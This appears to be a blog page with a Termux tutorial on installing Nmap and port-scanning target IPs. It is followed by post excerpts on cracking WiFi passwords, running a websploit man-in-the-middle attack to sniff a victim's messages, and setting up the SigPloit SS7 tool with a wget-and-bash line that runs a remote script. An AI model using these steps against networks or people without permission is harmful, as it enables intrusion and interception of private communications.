Skip to main content

How To use Nmap on termux

nmap is a free and open-source network scanner created by Gordon Lyon. Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses. Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection


First of all,install nmap on your phone through termux

Requirements:

Termux  - Install Termux from Google playstore

After Installing Termux, 
Upgrade the Termux repo to the most recent version,using the command below(Not actually necessary - just to make sure you have the newest termux repository)     
     pkg upgrade
 
 

Open Termux - Android Terminal Emulator App and install nmap on it using the command below:

pkg install nmap 
  


To Test the successfull installation of nmap, type the command 'nmap' or 'nmap -V'

nmap -V

Now, its time to port scan your target ip and find the vulnerable ports,here are the simple commands to try yourself.

nmap - [TARGET_IP] - example: nmap 192.168.1.1

 This is a basic command to scan a range of most common vulnerable ports i.e like http(80),ftp(21),ssh(22),dns(53),telnet(23),File-sharing(139) etc.,


basic nmap command

           

nmap [TARGET_IP] -p 1-65535 - example: nmap 192.168.1.1 -p 1-65535                                   This command will scan all the ports (1-65535 ,i.e 'p' denotes the range of ports to scan )of the target ip.



nmap -Pn [TARGET_IP] -p 1-1024 - example: nmap -Pn 192.168.1.1 -p-1-1024            
    
     Try this command(-Pn) ,if the previous one failed to retrieve data ,this command will scan the target even if it is a firewalled device, like nmap can scan a range of ports even if your target ip blocks the ping requests etc.,

                       

If this error occurs, try this command - nmap -Pn [TARGET_IP] 

You can also scan multiple ip - example: nmap 192.168.0.1-254 or nmap 192.168.1.1,2 or /16 /24 etc.,


You can do lot more with nmap, simply type nmap -h to find more interesting available options or have a look into the documentation of nmap.


Comments

Popular posts from this blog

How to hack WiFi with mobile phone (No root)

Instructions to hack WiFi password with mobile phone without rooting: Download and install the WIFI WPS WPA TESTER app from Play Store. Enable the Wi-Fi settings on your Android phone .Launch the app and search for the Wi-Fi networks nearby you. Select one of the networks from the result and start hacking by tap. You can input its key manually. The app checks the Wi-Fi security, and it tries different combinations of words and numbers to crack the Wi-Fi password . The app finds the network code in a short time and connects your phone automatically. Thanks for reading

How to perform mitm attack using Termux

Steps to Perform Mitm attack:- Firstly install websploit on termux with the following commands: $ git clone https://github.com/websploit/websploit.git  $ cd websploit  $ python setup.py install OR $ apt-get install websploit Open Termux and type the following commands. 1) cd websploit (to get into websploit directory) 2) python2 websploit (to start websploit) 3) show modules (to see modules provided by websploit) 4) use network/mitm (for man in the middle attack ) 5) show options ( to see options need to be provided by us ) 6) set Interface eth0 7) set ROUTER  10.113.55.0 ( to see yours type "route -n" in other session ) 8) set TARGET 128.0.0.1 (this is random ip ,     give ip of your target device instead of this . You can get using netdiscover or angry ip scanner) 9) set SNIFFER msgsnarf ( this will sniff text      messages of victim you can select sniffer        which you want) 10) run Now every text messages which w...

Tool to perform SS7 attack using Termux

Open termux terminal and type in the following commands:  pkg install python pkg install python2 pkg install lksctp-tools pkg install tsu pkg install wget wget https://raw.githubusercontent.com/MasterDevX/java/master/installjava && bash installjava git clone https://github.com/SigPloiter/SigPloit cd SigPloit pip2 install -r requirements.txt python2 sigploit.py        Thanks for reading,hope you enjoyed the post